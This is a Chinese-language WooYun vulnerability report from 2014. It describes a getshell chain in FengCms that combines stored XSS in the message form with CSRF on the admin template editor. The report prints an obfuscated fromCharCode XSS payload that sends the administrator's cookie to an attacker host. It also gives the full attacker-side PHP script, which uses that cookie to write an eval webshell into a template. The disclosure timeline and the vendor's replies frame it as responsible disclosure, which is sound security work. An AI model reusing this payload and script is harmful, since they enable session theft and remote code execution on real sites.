当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071003

漏洞标题:FengCms交互式Getshell

相关厂商:fengcms.com

漏洞作者: JJ Fly

提交时间:2014-08-05 16:31

修复时间:2014-10-31 16:32

公开时间:2014-10-31 16:32

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-05: 细节已通知厂商并且等待厂商处理中
2014-08-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-10-04: 细节向核心白帽子及相关领域专家公开
2014-10-14: 细节向普通白帽子公开
2014-10-24: 细节向实习白帽子公开
2014-10-31: 细节向公众公开

简要描述:

小问题组合造成。

详细说明:

首先我们来留言这。

http://10.10.10.1/message_add.html


图片1.png


图中 内容 那个框中具体如下

产品型号  : wooyun - 1
" onmouseover="c=new Image();eval(String.fromCharCode(99,46,115,114,99,61,39,104,116,116,112,58,47,47,49,48,46,49,48,46,49,48,46,49,50,56,47,49,46,112,104,112,63,100,61,36,95,80,79,83,84,91,99,93,38,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))" x="


String.fromCharCode(..........)为下面的内容
c.src='http://10.10.10.128/1.php?d=$_POST[c]&c='+document.cookie


然后提交。
等管理员看到之后会进行回复。

图片2.png


回复之后

图片3.png


图片4.png


Cms只对前台进行了防护。对后台的输入没有进行防护。
然后等管理员回复之后xss就形成了
鼠标移动到标签那之后 会get一个数据包

图片5.png


然后剩下的就是 10.10.10.128这台机器的1.php的代码了

<?php
function get_content($url, $cookie) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE,$cookie);
curl_setopt($ch, CURLOPT_POST, 1);
$post_date=array('name'=>'map','content'=>"<?php eval($_GET[d]);?>",'type'=>'1','project'=>'tpl');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_date);
$rs = curl_exec($ch);
curl_close($ch);
return $rs;
}
print get_content("http://10.10.10.1//admin/index.php?controller=tplmanage&operate=save",$_GET['c']);


其实上面利用的是模块修改csrf这个小问题 。
在 后台-》系统-》模块-》编辑这。
我编辑的map这个模块。上面仅仅写入了测试的关键代码。
一开始老是不成功。。后来终于发现了原因。。。
Post的content不能直接写$_POST[c],这样会调取利用xss get的那个数据包的 post的c参数。
所以我写成了 $_GET[d]然后在上面访问的连接加了一个d=$_POST[c]。

漏洞证明:

效果

图片6.png


图片7.png


图片8.png


还有一个问题 那就数据库备份问题

图片9.png


上面是备份出来的路径 ,完全可以爆破。
后面是时间戳。前面是日期。

修复方案:

你们更专业!

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-31 16:32

厂商回复:

最新状态:

2014-08-19:确认漏洞


漏洞评价:

评论

  1. 2014-08-05 16:45 | JJ Fly ( 普通白帽子 | Rank:317 漏洞数:59 | 今天播下一颗种子。)

    最后面添加的数据库那部分看错了,请自行忽略。。谢谢。

  2. 2014-08-11 09:14 | FengCMS(乌云厂商)

    @JJ Fly @疯狗 不好意思,前端时间去出差,导致没有及时关注乌云,希望可以帮忙一下,我们重新审核这个BUG。非常感谢!

  3. 2014-08-19 14:12 | FengCMS(乌云厂商)

    最新版已经修复了该漏洞,但是由于未能确认感到非常抱歉。我会在近期给两位白帽子送去礼物,再一次感谢,希望大家持续关注FengCMS!